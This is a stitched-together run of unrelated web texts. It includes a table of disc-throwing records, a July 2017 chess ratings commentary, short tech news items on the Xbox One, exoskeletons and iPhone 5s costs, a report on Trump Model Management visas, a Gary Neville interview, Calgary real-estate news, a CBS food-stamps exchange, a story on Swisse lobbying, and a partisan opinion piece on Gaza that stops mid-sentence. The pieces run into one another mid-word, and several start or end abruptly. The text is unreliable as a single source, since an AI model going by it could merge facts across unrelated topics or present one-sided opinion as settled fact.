(USA) 07/23/2015 Grand Rapids, MI, USA History u5 8.77 m Annie King (CAN) 12/23/2017 Elkford, BC, CAN History u5 38.84 m Kaidin Adam Bell (USAA) 07/19/2016 Grand Rapids, MI, USA History u6 8.77 m Annie King (CAN) 12/22/2017 Lethbridge, Alberta, CAN History u6 40.31 m Kaidin Adam Bell (USA) 06/28/2017 Grand Rapids, MI, USA History u7 52.12 m Kaidin Adam Bell (USA) 07/24/2018 Grand Rapids, MI, USA u10 21.68 m Maya Burkard (DEN) 10/13/2003 Valby, DEN u11 41.58 m Anna Skriver (DEN) 12/27/2002 Valby, DEN u13 84.14 m Yohei Ohtaki (JPN) 01/01/2001 Akita, JPN o45 143.56 m Dan Berman (USA) 12/10/2005 USN Aircraft Carrier JFK, USA o55 91.00 m Torben Wigger (DEN) 10/13/2003 Valby, DEN Basketball Field Goal Distance Class Result Name Date Location Open 38.63 m John Terry (USA) 05/02/2009 Morgantown, WV u3 11.84 m Kaidin Adam Bell (USA) 07/24/2014 Grand Rapids, MI, USA u4 18.29 m Kaidin Adam Bell (USA) 07/08/2015 Grand Rapids, MI, USA u5 24.08 m Kaidin Adam Bell (USA) 06/25/2016 Grand Rapids, MI, USA u6 26.14 m Kaidin Adam Bell (USA) 07/26/2017 Grand Rapids, MI, USA u7 26.52 m Kaidin Adam Bell (USA) 07/22/2018 Grand Rapids, MI, USA Indoor Upside Down Distance Class Result Name Date Location Open 93.70 m Erno Väyrynen (FIN) 03/02/2005 Oulu, FIN u2 4.60 m Kaidin Adam Bell (USA) 07/28/2013 Grand Rapids, MI, USA u3 9.57 m Kaidin Adam Bell (USA) 07/22/2014 Grand Rapids, MI, USA u4 5.62 m Annie King (CAN) 12/24/2016 Lethbridge, Alberta, CAN u4 15.11 m Kaidin Adam Bell (USA) 07/24/2015 Grand Rapids, MI, USA u5 8.77 m Annie King (CAN) 12/23/2017 Lethbridge, Alberta, CAN u5 20.30 m Kaidin Adam Bell (USA) 07/19/2016 Grand Rapids, MI, USA u6 24.30 m Kaidin Adam Bell (USA) 07/13/2017 Grand Rapids, MI, USA u7 25.13 m Kaidin Adam Bell (USA) 06/28/2018 Grand Rapids, MI, USA o35 87.90 m Antti Luuri (FIN) 03/02/2005 Oulu, FIN o45 87.00 m Riku Kaajakari (FIN) 12/29/2007 Oulu, FIN Indoor Roller Distance Class Result Name Date Location Open 147.06 m Søren Larsen (DEN) 12/27/2002 Valby, DEN u2 31.08 m Brinlee Bell (USA) 11/12/2017 Grand Rapids, MI, USA History u3 59.26 m Kaidin Adam Bell (USA) 07/28/2014 Grand Rapids, MI, USA u4 63.60 m Kaidin Adam Bell (USA) 07/24/2015 Grand Rapids, MI, USA u5 66.46 m Kaidin Adam Bell (USA) 07/19/2016 Grand Rapids, MI, USA u6 67.12 m Kaidin Adam Bell (USA) 06/28/2017 Grand Rapids, MI, USA u7 70.69 m Kaidin Adam Bell (USA) 07/24/2018 Grand Rapids, MI, USA o35 137.90 m Peter Jepsen (DEN) 12/27/2002 Valby, DEN o55 126.00 m Torben Wigger (DEN) 10/13/2003 Valby, DEN Foot Throw Distance Class Result Name Date Location Open 44.40 m Riku Kaajakari (FIN) 09/14/2008 Oulu, FIN Open 21.70 m Rhode Östling (SWE) 11/01/1997 Malmö, SWE 24 Hour Pair Distance Class Result Name Date Location Open 592.15 km Conrad Damon & Pete Fust (USA) 04/24/1993 San Marino, CA, USA Open 186.12 km Jo Cahow & Amy Berard (USA) 12/30/1979 Pasadena, CA, USA 24 Hour Group Distance Class Result Name Date Location Open 688.84 km South Windsor Ultimate Team (USA) 09/07/1977 Vernon, CT, USA u17 646.83 km Golden Eagle Frisbee Team (USA) 06/20/1980 Murray, KY, USA Distance to Canine Catch Class Result Name Date Location Open 122.53 m Rob McLeod throwing to Davy Whippet (CAN) 10/14/2012 Thorhild, Alberta, CAN History Non-Human Distance Class Result Name Date Location Open 9.76 m Sea Lion Alex (USA) 12/05/1996 St. Louis Zoo, MO Mini Indoor Distance Class Result Name Date Location Open 69.71 m Peter Jepsen (DEN) 12/02/2002 Copenhagen, DEN u4 2.30 m Clara Giendl (DEN) 11/28/2004 Valby, DEN u4 6.12 m Valdemar Skriver (DEN) 12/27/2002 Valby, DEN u8 15.02 Hannibal Skriver (DEN) 12/27/2002 Valby, DEN u11 22.22 m Anna Skriver (DEN) 12/27/2002 Valby, DEN u15 43.46 m Jonas Ivø (DEN) 12/19/2014 Hareshovby, DEN o35 69.71 m Peter Jepsen (DEN) 12/02/2002 Copenhagen, DEN o45 43.46 m Torben Wigger (DEN) 12/27/2002 Valby, DEN o55 41.27 m Torben Wigger (DEN) 10/13/2003 Valby, DENFind the right combination! ChessBase 15 program + new Mega Database 2019 with 7.6 million games and more than 70,000 master analyses. Plus ChessBase Magazine (DVD + magazine) and CB Premium membership for 1 year! Anand, So, Gelfand, Duda, Shankland, Navara, Adams, etc. annotate the games of the WCh match. Chess Olympiad with video specials by Pelletier. Plus 11 opening articles with new repertoire idesas, e.g. 1.e4 Nc6 or a new recipe in the London System! 6/30/2017 – This month's ratings list brings a number of remarkable results, all worthy of commentary. First and foremost is Levon Aronian's deserved return to the 2800-club after great wins at the Grenke Classic, and now at Norway Chess. Also worth noting is that the group of players rated 2800 or more has grown to six, but before concluding 'ratings inflation' read the commentary in the article to see if you still think that way after. FIDE July 2017 – Top 100 Players Looking at the new ratings list with no fewer than six players rated 2800, the words ‘ratings inflation’ might readily come to mind, but a closer examination shows that it is most likely a consequence of the redistribution of Elo than actual inflation. To explain this better, let’s look at the ratings list of July 2016, exactly one year ago, when only three players could claim the mantle of 2800 or more. In second place was Kramnik, just as now, with exactly the same rating as this month, 2812. Part of the difference is that a year ago, Magnus Carlsen stood head and shoulders above with 2855, a full 43 Elo more. This month he stands at 2822, just 10 Elo above. Since the Elo system is a zero-sum equation, those 33 Elo lost did not just go up in smoke, they were passed on to other players below him. When he, or any player, loses 4 Elo to one player, that player gains the exact same amount. The concentration at the top has also never been tighter, and reveals a group of players who are distinctly pulling away, at least for now, from the rest of the field. While Magnus Carlsen remains no.1 with 2822, the no. 10 is Ding Liren with 2781 just 41 Elo behind. A year ago Magnus Carlsen's advantage over just the no. 2 was more with 43 Elo. A couple of other points to note, a year ago, the difference in rating between the no. 10 and the no.15 was just 12 Elo, today, a year later, the no.10 is rated 32 Elo more than the no. 15 further emphasizing how the top 10 are distancing themselves from the rest. The bottom rating and minimum to enter the Top 100 today is 2653, whereas in July 2016 it was 2654. There can be no question the biggest name of the month was Levon Aronian, who scored a fantastic win at the Norway Chess tournament, and raced back into the 2800-club where he so obviously belongs. Top climbers and descenders The list of players who experienced gains or losses of at least 10 Elo. The two biggest Elo gainers in this month's list were also the two rising stars in Russia's list of players: Maxim Matlakov and Vladimir Fedoseev. Fedoseev has had a fantastic year, and represented Russia in the recent World Team Championship, where he scored 6.0/8 with a 2782 performance. This helped him gain 23 Elo. Maxim Matlakov not only performed strongly for the Russian team in Khanty-Mansiysk, but also won the European Indivdiual Championship FIDE Top 100 Women Lei Tingje was also a big star this month, as she scored a staggering 8.0/9 for China at the Women's World Team Championship and a 2687 performance FIDE Top 100 Juniors FIDE Top 100 Girls 13-year-old WFM Bibisara Assaubayeva scored a solid 11-round IM-norm at the European Individual Championship facing five full-fledged grandmasters and four IMs, and earned a whopping 140 Elo points as a result. Since this was a FIDE continental event, this norm was worth double! Top 100 Rapid Magnus Carlsen's win at the Paris event of the Grand Chess Tour was entirely due
I (obviously) predict the success of web-based, collaborative, multi-player communities like Upverter as dominating both parts of the design stage. The third stage in the product ecosystem is also the most in need of innovation. The first part of the production stage is the store, a mixed physical and virtual marketplace. This is where customers discover and purchase products based on a pre-sales model. The second part of the production stage is the factory, a scalable on-demand API for manufacturing. This will be the Amazon Web Services of hardware. This step still requires huge investment and innovation in logistics, smaller batch sizes, manufacturing equipment, and process control. I predict a consolidation in the store stage and the emergence of a dominant marketplace explicitly pre-selling products. Likewise I also predict manufacturers will differentiate through their APIs with the most accessible and elastic of these dominating. What’s next? “We believe this is just the very beginning of the hardware revolution. The world is eagerly awaiting new devices and new device platforms. Look around you and it is hard not to see opportunities.” Jon Callaghan Over the coming years I think we will both see a massive increase in hardware startups – Indiegogo has seen more than a 100% increase in the number of technology campaigns launched over the last year-, but also an increase in the companies that exist to make these startups successful. I think startups will be created to solve the ecosystem voids, I think massive consumer hardware companies will grow out of the startups being founded today, and I think we will be successful in putting 70+ billion more devices onto the internet over the next 7 years. I think the wellness craze will fade out over the next 5 years, eventually being replaced by actual medical-health tech. I think drones and logistics will get have 8 or so more interesting years, that energy tech and transportation is just getting started, and that by 2020 agricultural tech will pick-up where both of these markets leave off. I expect to see continued double or triple digit market growth, massive investment, massive innovation, and some very real consumer behaviour changes as they adopt pre-sales and purchase more and more niche devices. It’s going to be a very exciting two decades, stay tuned!"Don't stop. If you stop typing for more than five seconds, all progress will be lost." Those are the directions for The Most Dangerous Writing App, a brutal new web tool designed to help you get over your writer's block. The app is the work of Manuel Ebert, who describes himself on Twitter as a "Ex-neuroscientist, data wrangler, designer, and engineer." He's also a founding partner of Summer.ai, a small data consultancy agency. Ebert made The Most Dangerous Writing App on his own time, and released it for free. There are lots of tricks for overcoming writer's block. One of the most commonly prescribed bits of advice is perhaps the most obvious: just write. That could mean banging out a rough draft in one fell swoop, or it could mean pretending like you're writing in a diary, letting out a stream of consciousness. Or, as editors love to say, "just pretend you're at a bar, having a beer, talking to your friend." The Most Dangerous Writing App The goal of all these strategies is to force you to get over your ego. Stop waiting for a romantic surge of inspiration and just write. The Most Dangerous Writing App doesn't care what technique you use, provided you keep typing. If you stop, even for a second, the edges of the screen become tinged with red. The longer you go without typing, the redder the edges become, until, after five seconds of inactivity, your progress is unceremoniously erased. Forever. While writing this I somewhat predictably experienced a small bout of writer's block, so I gave the app a try. The interface is a clean, no-nonsense text editor. You'll find nothing in the way of formatting tools; if it wasn't already abundantly clear, the app is purpose-built for writing and writing only. It allows for plenty of backspacing and typo-correcting, both of which can be useful for procrastinating in micro-doses, but I mostly felt compelled to write. Somewhere towards the tail end of my five minutes (you can choose to write nonstop for five, 10, 20, 30, 45, or 60 minutes, if you're a masochist) the pressure starts to set in, and I'm really rambling. The UX is cleverly conceived, if a bit stressful at first (my heart rate went up while I was using it). The Most Dangerous Writing App But then, that imposed sense of urgency is the whole point. If you're someone who thrives under pressure, or feels most productive when you're working at the eleventh hour, the Most Dangerous Writing App could be a good way for you to apply that pressure, artificially. And for the record, it did get me over my writer's block. You're reading this article now, aren't you?Share. Offers console and game for £349 / $349. Offers console and game for £349 / $349. Microsoft has revealed a new Xbox One bundle featuring its latest console and Halo: The Master Chief Collection. Available later this month, the new Xbox One: Master Chief Collection bundle costs £349 / $349 and includes Halo: Combat Evolved Anniversary, Halo 2: Anniversary, Halo 3 and Halo 4. The new bundle marks the latest time the console's value has been re-evaluated. Originally costing $499, this was later dropped to $399 before a $50 holiday price drop in the US was announced last October. This caused Xbox One sales to triple, though the price of an Xbox One went back up to $399 after the holiday season. This was then reversed, with the console costing $349 again, and now it seems the company has decided to add one (or four) free games into the mix too. At long last, the week just gone saw Halo: MCC developer 343 Industries roll out a massive patch designed to improve matchmaking performance. The studio originally said it would opt for MCC beta testing due to "the scale of the update" and "to ensure the official release is the best possible experience for all players." This was later rethought. The developer has rolled out numerous content updates to address the ongoing issues that have plagued the title since its launch last November. Be sure to check out our opinion piece that takes a look at the launch issues with Halo MCC and other AAA titles from 2014. Luke Karmali is IGN's UK News Editor. You too can revel in mediocrity by following him on Twitter.Rise of the machines The robotic exoskeleton market is set to score 39.6 per cent compound annual growth between now and 2025, emerging as a US$1.8bn industry. So says analyst outfit ABI Research, which reckons $68 million of exoskeletal kit shipped in 2014. “Lower body exoskeletons, employed as rehabilitation tools or quality of life enablers, currently lead the sector,” the firm says. But the future is “commercial systems that augment or amplify capabilities”. Vendors will target “industrial tasks requiring heavy lifting, extended standing, squatting, bending or walking in manufacturing facilities, particularly within construction and agriculture industries.” All of which sounds like great news for those whose jobs involve lots of manual labour, like the unpleasant chore of wading through a rice paddy planting seedlings into the mud. Unless adding an exoskeleton means one rice planter can do the job of three, at which point the availability of an exoskeleton is bad news for two people. ®Apple makes most of the profits in the mobile industry, and one reason is that it keeps its manufacturing costs relatively low. The iPhone 5, for example, costs less to make than its chief rival, the Samsung Galaxy S 4. But the big surprise is that the cost of making the new iPhone 5s is just $2 more than making the iPhone 5, though the iPhone 5s packs a 64-bit processor, a fingerprint scanner, and a new type of very fast memory module called LPDDR3, all of which Apple is the first to use. IHS Suppli, which analyzes the bill-of-materials costs for a wide range of devices, estimates that the 16GB model of the iPhone 5s costs $199 to make ($191 in parts and $8 to assemble) versus $197 ($189 in parts and $8 to assemble) for the iPhone 5. To compare, a Galaxy S 4 costs $233 in parts alone. IHS iSuppli's iPhone 5s teardown reveals that the new tech raised Apple's costs by $14.50 -- $6 more for the processor, $1.50 more for the RAM, and $7 more for the fingerprint sensor -- but Apple was able to save $12.50 on other parts, resulting in the net materials increase of just $2. Details 16GB 32GB 64GB Pricing without contract $649.00 $749.00 $849.00 Implied margin 69% 72% 74% Total materials cost $190.70 $200.10 $210.30 Manufacturing cost $8.00 $8.00 $8.00 Total production cost $198.70 $208.10 $218.30 Components Flash memory $9.40 $18.80 $29.00 RAM 1GB LPDDR3 $11.00 $11.00 $11.00 Touchscreen 4-inch Retina display $41.00 $41.00 $41.00 Processor 64-bit A7 Processor + M7 motion processor $19.00 $19.00 $19.00 Cameras 8MP rear + 1.2MP front $13.00 $13.00 $13.00 Cellular radio Qualcomm MDM9615M + WTR1605L + front end $32.00 $32.00 $32.00 User interface and sensors Includes fingerprint sensor assembly $15.00 $15.00 $15.00 Wi-Fi, Bluetooth, GPS Murata Dual-Band Wireless-N Module $4.20 $4.20 $4.20 Power management Dialog + Qualcomm $7.50 $7.50 $7.50 Battery 3.8V ~1560mAh $3.60 $3.60 $3.60 Mechanical and electromechanical (switches and buttons $28.00 $28.00 $28.00 Box contents $7.00 $7.00 $7.00 This story, "How Apple makes the iPhone 5s for the same price as the iPhone 5," was originally published at InfoWorld.com. Get the first word on what the important tech news really means with the InfoWorld Tech Watch blog. For the latest developments in business technology news, follow InfoWorld.com on Twitter.Mother Jones: Trump Model Management “Has Profited From Using Foreign Models Who Came To The United States On Tourist Visas That Did Not Permit Them To Work Here.” Republican presidential candidate Donald Trump’s modeling agency, Trump Model Management, used workers who were in the United States on tourist visas, not work visas, in violation of immigration law, “according to three former Trump models, all noncitizens.” Two of the models said Trump’s agency had encouraged them to lie to customs officials. The Mother Jones report highlighted the stories of multiple Trump agency models who worked under improper visas for Trump: Republican nominee Donald Trump has placed immigration at the core of his presidential campaign. He has claimed that undocumented immigrants are "taking our jobs" and "taking our money," pledged to deport them en masse, and vowed to build a wall on the Mexican border. At one point he demanded a ban on Muslims entering the country. Speaking to supporters in Iowa on Saturday, Trump said he would crack down on visitors to the United States who overstay their visas and declared that when any American citizen "loses their job to an illegal immigrant, the rights of that American citizen have been violated." And he is scheduled to give a major address on immigration in Arizona on Wednesday night. But the mogul's New York modeling agency, Trump Model Management, has profited from using foreign models who came to the United States on tourist visas that did not permit them to work here, according to three former Trump models, all noncitizens, who shared their stories with Mother Jones. Financial and immigration records included in a recent lawsuit filed by a fourth former Trump model show that she, too, worked for Trump's agency in the United States without a proper visa. Foreigners who visit the United States as tourists are generally not permitted to engage in any sort of employment unless they obtain a special visa, a process that typically entails an employer applying for approval on behalf of a prospective employee. Employers risk fines and possible criminal charges for using undocumented labor. Founded in 1999, Trump Model Management "has risen to the top of the fashion market," boasts the Trump Organization's website, and has a name "that symbolizes success." According to a financial disclosure filed by his campaign in May, Donald Trump earned nearly $2 million from the company, in which he holds an 85 percent stake. Meanwhile, some former Trump models say they barely made any money working for the agency because of the high fees for rent and other expenses that were charged by the company. [...] According to three immigration lawyers consulted by Mother Jones, even unpaid employment is against the law for foreign nationals who do not have a work visa. "If the US company is benefiting from that person, that's work," explained Anastasia Tonello, global head of the US immigration team at Laura Devine Attorneys in New York. These rules for immigrants are in place to "protect them from being exploited," she said. "That US company shouldn't be making money off you." Two of the former Trump models said Trump's agency encouraged them to deceive customs officials about why they were visiting the United States and told them to lie on customs forms about where they intended to live. Anna said she received a specific instruction from a Trump agency representative: "If they ask you any questions, you're just here for meetings." [Mother Jones, 8/30/16]Gary Neville sits and gathers his thoughts. High up in the Camp Nou press box, he has just commentated for Sky Sports on Barcelona beating Bayern Munich in an epic Champions League semifinal first leg. "Wow," he says. "That was incredible. Messi." Neville shakes his head in amazement, having just seen two giants go toe-to-toe and create a thrilling spectacle. Watching such games live is a major reason why he went into television after a career that saw him play 602 times for Manchester United and win eight Premier League titles, three FA Cups and the Champions League. He was celebrated by United fans who loved a driven fan who came through the youth ranks to captain the club. Yet success attracts envy, and he was reviled by many opposing fans and considered the embodiment of United's perceived arrogance. Then something strange happened. Those who used to knock Neville began to respect and admire him when he turned to television work after his retirement four years ago. He spoke to ESPN FC about his current roles in television and as a coach with the England national team. Before becoming a coach and TV pundit, Gary Neville played 602 games for Man United and won 85 England caps. On working in television "I didn't make a conscious decision that I wanted to go into television when I retired from football. But I was clear that I didn't want to go straight into coaching. I wanted to see the game from a different angle. "All I knew is that I wanted to learn. I'd not seen the darker side of football at United. You're in a bubble -- a successful bubble -- as part of this winning machine. That can be an advantage and a disadvantage. "When Sky offered me the contract, I felt that it was the right thing for me. It would give me a chance to watch 95 percent of all the big games in person, which is far better. Big games in England, but also in Europe, where I knew I could learn. I could also learn new disciplines in the media. It was too good to turn down." On the quality of football punditry "The analysis of football on television has got better and better. Punditry used to be knocked by players, including me, especially when it was old pros just being negative. Now I see it differently. I try and not just explain what is happening in a game, but, crucially, why it is happening. "I see my job as communicating that in a manner which people watching at home will understand. I think people now have a greater awareness of tactics than they did have. Fans demand more now. They want specific details about why a player did a certain thing. I'm happy to provide that information." On mistakes he has made "I've made a few blunders in the heat of the moment. I said that it was'some sight' when Gareth Bale opened his legs. And I get reminded a lot about the noise I made after Fernando Torres scored for Chelsea in Camp Nou. I'm not going to try and repeat the noise, but it came from having a great passion for football and seeing the dramatic events unfolding in front of me." On his most dramatic moment "I'm always asked how I felt when Sergio Aguero scored the goal which meant Manchester City pipped United to the title in the final minute of the final game of the 2011-12 season. It was the most dramatic end to the season possible, and I was at the Etihad covering it. With a few minutes to play, that was the best place to be for a United fan. I was surrounded by all these miserable blue faces and broken hearts. It was fantastic. "Then Aguero scored and I was like, 'Get me out of here.' Everyone was going crazy, and they'd have liked nothing more than rubbing the win in my nose. I don't think we'll see anything as dramatic as that again." On Liverpool and Man City fans "I actually get a lot of Liverpool and City fans coming up to me and saying that they obviously didn't like me when I played but that they can just about put up with me now. I've had a couple of incidents where people have tried to have a go -- once coming out of Old Trafford after we'd played Liverpool and one at the Etihad. I go to a lot of games and 99 percent of the time -- even at Anfield and the Etihad -- there's humour without aggression." On escaping the Man United bubble "The television role also brought me into contact with coaches. I'd bump into them in tunnels at stadiums before or after matches. We'd talk and I'd learn. It all gave me a greater appreciation and understanding of football after spending all my adult life at United." On combining TV with coaching for England "While I loved my role in television, the icing on the cake came when I was offered a role coaching with England 12 months later. That would allow me to keep working inside a dressing room and stay inside football. It was the perfect combination as I still had plenty of learning to do in both roles. "I don't change from television to the dressing room; I'm exactly the same. But I've learned to change inside a dressing room from when I was at United. There, everything was very blunt. You spoke your mind and that was that. I've learned that you can't always do that. What you say might stay with that person for a long time. "I've learnt to be tolerant and that comes from Roy Hodgson and Rey Lewington, two very experienced coaches who I'm lucky to work with. You can't be blunt with everyone because not everyone takes criticism as well as others. I've also learned to be more patient than I was." On the future "I accept that what I do can't go on forever, but what I'm doing works for me now. People ask me if I'm going to be a manager. I've got a year left on my England and Sky contract so I need to think about my future. I've not made my mind up. By the end of the year I think I'll have a clearer idea." Carragher on Neville Neville's work on television has elevated the expected standard of punditry. His current Sky colleague Jamie Carragher explains how the pair's relationship has changed since their playing days. "We didn't have that much of a relationship when we played," says Carragher. "We were rivals for clubs so we weren't going to be pally when we played for England. I didn't like United, he didn't like Liverpool. And that was that. "I knew he was very straight, that was clear. And he's been brilliant for me in television. He's a grafter, he has a good humour and he works very hard. And he's managed to get Liverpool fans to like him!" Andy Mitten is a freelance writer and the founder and editor of United We Stand. Follow him on Twitter: @AndyMitten.The oil price downturn is creating a building opportunity for commercial real-estate developers in Calgary, home to Canada’s petroleum industry, rather than deterring investment, Mayor Naheed Nenshi said. [np_storybar title=”Bankruptcy, foreclosure and exodus batter Calgary’s housing market” link=”https://business.financialpost.com/news/energy/oil-downturn-forcing-alberta-homeowners-into-tough-decisions”%5D On Wednesday morning, one of Adam O’Keefe’s moving crews is scheduled to pull up to a six-bedroom home in Springbank, a well-to-do neighbourhood just west of Calgary, clear the contents out of the house and send it directly to a consignment gallery. O’Keefe doesn’t know the specifics of the homeowner’s situation, but as the oilpatch reels from a prolonged downturn in prices, the president of locally based Alberta Pro Movers has seen an unfortunate increase in court-ordered repossessions. Continue reading. [/np_storybar] “Our downtown commercial market is very strong and we’re getting a lot of folks saying they had been priced out of Calgary and now here’s their chance,” he said Monday in an interview at Bloomberg’s headquarters in New York. “I’m told by these very, very large skyscraper builders and commercial property developers, mostly backed by pensions, that they are patient money, and they make their money by building at this point in the cycle.” Nenshi has recently met with a property developer planning a new $600 million tower for the city, and there are two or three others with similar plans, he said, declining to name the investors. Skyscrapers including the Bow, designed by British architect Norman Foster and the tallest building west of Toronto, have sprouted in Calgary’s downtown in past years as an oil boom supported a surge in employment. While the slide in crude prices over the past year resulted in thousands of job losses in the city, commercial and residential construction has continued as the population grows. Last year, Calgary’s population increased by 40,000 people, contributing to a 16 per cent gain in the past five years to about 1.2 million, while the growth in energy, manufacturing and retail jobs kept unemployment below the national average. About a third of Calgary’s US$116 billion economy is dependent on the petroleum industry, down from about 55 per cent 20 years ago, Nenshi said. ‘Healthy’ Level Calgary’s commercial vacancy rate has risen to about 11 per cent, a “healthy” level, after years of tenants having a difficult time finding space, he said. Cushman & Wakefield’s latest quarterly report showed Calgary’s office vacancy at 8.5 per cent in the first quarter, up from 6.3 per cent last year. The rate compares with 7.7 per cent in Toronto in the first quarter. Vacancy in Toronto’s financial core is the lowest in the city at 4.8 per cent, compared with 9.8 per cent in Calgary’s central core, Cushman and Wakefield said. The city expects the value of building permits this year to decline to $5 billion from $6.5 billion in 2014, according to Calgary Economic Development, a city agency. “We’re now moving in a world where there’s a little bit more breathing room,” Nenshi said, adding that he sees little chance of a property bubble, either in Calgary or in other cities in Canada, including Vancouver or Toronto. More than five years of rising oil prices spurred thriving sales of million-dollar trophy homes in Calgary and a doubling of home prices in the last decade. The city is unlikely to develop a residential market similar to Vancouver or Toronto where prices are pushed higher by limited land. Sprawl Model “We’ve been characterized by what a lot of people will call a suburban sprawl model,” Nenshi said. “We have not yet attracted the foreign investors trying to get their money out of somewhere or who are seeing this as a long-term play.” We’re now moving in a world where there’s a little bit more breathing room The oil industry will likely have a “difficult” second quarter in the city and see a recovery in the third, he said. In the meantime, Calgary is looking to the finance, technology and transportation and logistics sectors to support growth. Calgary needs to continue attracting people outside the country to ensure that the city maintains its economic growth and remain and innovative place, Nenshi said. “For my city to be successful, I need that top graduating engineer or that terrific young artist, from Shanghai, or Mumbai, or Dubai — or anywhere else that ends in ‘i’ — to think of following her career, investing and having a great life in Calgary,” he said. Bloomberg NewsCBS host Bob Schieffer on Sunday confronted Republican Rep. Mike Kelly (R-PA) after his fellow Republicans in the House stripped food stamps from the farm bill. “You pass a farm bill in the House that gives billions of dollars, much of it to large corporations that own farms,” Schieffer noted. “It’s almost like welfare for the wealthy.” “But you don’t include a dollar for hungry people for food stamps. What kind of message is that?” the CBS host asked. Kelly explained that House Majority Leader Eric Cantor (R-VA) had not been able to get enough agreement to pass a farm bill with food stamps and so he decided to break the bill apart and fund Supplemental Nutritional Assistant Program (SNAP) in future legislation. “It made sense to me because we couldn’t get agreement on how we should do it,” Kelly asserted. “I’m not a politician, I’m an automobile dealer. And my whole life has been sitting down across the table from somebody that actually wanted to get something done and then compromising.” “Do you want to pass money for food stamps?” Schieffer pressed. “We already have money for food stamps!” Kelly exclaimed. “And what bothers me, Bob, is that one in six Americans right now are on this program. Now either the economy is not growing at the rate that it should or this program is so badly flawed that we’re letting too many people in. The sustainability of this is what concerns me.” “You can’t keep promising things to people that in the future you know you can’t sustain,” he added. “I have never talked to one person that says, we don’t want to take care of the most vulnerable, we don’t want to take care of the people that need it the most. But I have talked to people that said the system’s broken, and when we look at what’s going on we’re wasting — wasting billions on a program doesn’t seem to be lifting people out of poverty, but keep them in a state of poverty. That’s not right.” Watch this video from Fox News’ Fox & Friends, broadcast July 14, 2013. (h/t: Politico)Multivitamins company wants Malcolm Turnbull’s government to allow the industry to self-regulate The multivitamins giant Swisse has called on the federal government to embed staff with knowledge of complementary and alternative medicines in Australian embassies overseas to help grow the sector’s overseas market, particularly in Asia. In its pre-budget submission to the federal government, Swisse wrote that: “Specific personnel with knowledge and expertise in complementary medicines and a mandate to support the industry are necessary in Australian embassies. “This will ensure Australia can capitalise on its bilateral trade agreements and the significant growth potential the complementary medicines sector represents, both for itself and also for associated industries in its supply chain.” Australia to change medical regulations to allow faster access to new drugs and devices Read more This would also help contribute to Australia’s culture of innovation, Swisse said, in an appeal to prime minister Malcolm Turnbull’s innovation agenda. Swisse also recommended that the federal government relinquish its oversight of complaints about complementary and alternative products and instead allow the multibillion-dollar industry to self-regulate. In its pre-budget submission to the federal government, Swisse suggests that, by eliminating what it deemed to be “unnecessary regulation” and giving the regulatory framework a “refresh”, the government could encourage innovation and economic growth. One of Swisse’s four recommendations suggests the government should: “Allocate responsibility for regulating advertising claims, compliance and complaints of the complementary medicines sector from the Therapeutic Goods Administration [TGA] to the Australian Competition and Consumer Commission [ACCC] and Advertising Standards Bureau.” This would remove the need for the current regulations, Swisse wrote. “There is no longer a need for the TGA to oversee advertising claims when there a mature consumer protection system in place,” the submission said. “The TGA risk management approach that is appropriate for the public health risks associated with pharmaceuticals is not consistent with the public health risks associated with complementary medicines. “It has had a stifling impact on competition and productivity within the complementary medicines industry.” Dr Ken Harvey, a specialist in evidence-based medicine, quit his job as an adjunct professor with La Trobe University in 2014 after the university did a $15m deal with Swisse to develop a research centre. He said the ACCC would never have the capacity to investigate numerous complaints the TGA received about complementary and alternative medicines each year. He added that the federal government’s medicines and medical devices review had rattled multivitamin companies, given one of the recommendations was that the TGA be given stronger compliance powers against misleading advertising. “The multivitamins industry will do anything and everything to influence government decision-making,” Harvey said. “However, they will have more trouble doing so given some of the recommendations around advertising from the medicines and medical devices review will require legislative change, which means it will go to parliamentary committees. Fish oil rules reviewed as study reveals consumers are being hoodwinked Read more “So there will be more open debate and more questions asked of the industry.” He said the “vast bulk” of the 11,000 complementary and alternative products on the market in Australia had no or weak evidence for their effectiveness. The idea that vitamins could be taken to prevent poor health was “marketing hype and lacks good evidence,” he added. A specialist in evidence-based medicine and a a professor of public health at Bond University in Queensland, Chris Del Mar, said he would be concerned about allowing the industry to self-regulate. “Obviously it is a big industry that is involved here, that is very keen to make life easier for themselves, and at the moment there is a new wave of doctors being concerned that the use of vitamins is grossly in excess of their benefits,” he said. “It’s not just that people waste their money on vitamins or take excess amounts. It’s that people think they’re doing something to improve their health when they’re doing something useless. “We know Australians spend billions on these products every year.”Fear Trumps Morality Fear truly is the mind-killer. It has a way, when intentionally stoked and directed at some enemy, of killing a lot of people as well. In Israel, the bombardment and invasion of Gaza over the summer demonstrates what can happen when a populace is fed a consistent diet of fear, no matter how safe the society is and how meager the threat to them is. A similar dynamic could be taking hold in the United States, as the specter of the Islamic State becoming strong enough to threaten the US is being pushed harder and harder all the time, despite how unrealistic it is. One of the more powerful lies that feeds public panic about IS is that the global Muslim community is silent about them, whether out of fear, or sympathy. With a billion Muslims worldwide, this combines with widespread Islamophobia to raise the specter of a fierce and huge Muslim army to install a global caliphate, complete with beheadings of enemies and infidels, and the subjugation of all to a reactionary form of Islam. Of course, it’s a phony image, and few subscribe to such an extreme illusion, for now. But the accusation of silence from the Muslim world about IS sticks, despite a tidal wave of Muslim condemnation of the group, and that feeds an ominous fire. The power of the accusation isn’t only in the specter it raises. It also lies in its demonization of all Muslims, who are framed as being the “good people” who “remain silent” in the face of atrocity. We, the very good and righteous Christians and Jews of the monotheistic world routinely call out the “evil” in our midst. Or do we? This summer, as Israel rained unprecedented destruction down on the Gaza Strip, the level of hatred directed at Palestinians in Israel and the West was equally unprecedented. Israeli Prime Minister Benjamin Netanyahu convinced many people that Israel was the victim, and was merely responding to Hamas aggression when in fact he had manipulated the inexcusable murder of three young Israelis to launch a campaign against Hamas that swept up hundreds of innocent Palestinians; caused a number of casualties; set off a wave of anti-Arab racism in Israel; and culminated in what Israel called “Operation Solid Cliff” (it was translated as Protective Edge for public relations purposes in the West). One can understand the Jewish community, and much of the far larger community of conservative Christians in the United States standing behind a claim of Israeli self-defense in Gaza. Hamas is widely reviled for the explicit anti-Semitism in its charter and for its Islamic fundamentalism. Israel is the world’s lone Jewish state. Despite its military prowess, there is a desperation to its self-portraits as a David standing against an Arab Goliath, when it is actually the giant, subjecting slingshot-bearing youth to occupation, dispossession, and, military violence. But what happened this summer went well beyond anything we have seen previously. There are always hateful and angry statements during violent conflicts, but in the past, Israel has always made sure to keep the worst of it quiet. This time, though, the tide of racism was so strong, and came from so many directions, in and outside of government, there was no hushing it up. Here are just a few examples: Foreign Minister Avigdor Lieberman, who has frequently labelled supporters of boycotts against Israel as anti-Semites, called on Israeli Jews to boycott any business owned by Israel’s Arab citizens if those businesses closed for brief periods in protest of the assault on Gaza. The Deputy Speaker of the Knesset, 